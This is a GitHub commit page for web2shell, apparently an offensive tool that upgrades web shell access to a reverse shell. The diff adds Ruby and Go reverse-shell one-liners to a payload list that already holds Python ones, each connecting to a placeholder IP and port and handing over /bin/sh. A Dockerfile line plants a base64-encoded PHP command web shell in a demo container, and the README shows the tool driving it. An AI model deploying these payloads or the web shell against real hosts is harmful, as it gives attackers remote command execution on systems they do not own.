Skip to content

Commit 7977cff

Browse files
committed
Golang and Ruby support
1 parent f479109 commit 7977cff

File tree

4 files changed

+15
-3
lines changed

4 files changed

+15
-3
lines changed

data/payloads.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,10 @@
1616
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
1717
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
1818
],
19+
"ruby": [
20+
'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\''
21+
],
22+
"go": [
23+
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
24+
],
1925
}

demo/Dockerfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ RUN echo "PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbW
66

77
RUN apt update
88

9-
RUN apt install python3 -y
9+
RUN apt install python3 ruby golang -y
1010

1111
EXPOSE 80
1212

demo/README.md

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,10 @@
44
2. Run the image (`docker run -it -p 8080:80 webshell`)
55
3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --url http://127.0.0.1:8080/cmd.php?cmd=SHELL --interface docker0`)
66

7-
Note: This Docker container only has `python`, `perl`, and `php` binaries.
7+
Note: This Docker container has the binaries for all supported reverse shells. They are as follows:
8+
9+
- Perl
10+
- PHP
11+
- Python
12+
- Ruby
13+
- Golang

requirements.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
requests==2.28.1
2-
psutil==5.9.5
2+
psutil==5.9.5

0 commit comments

Comments
 (0)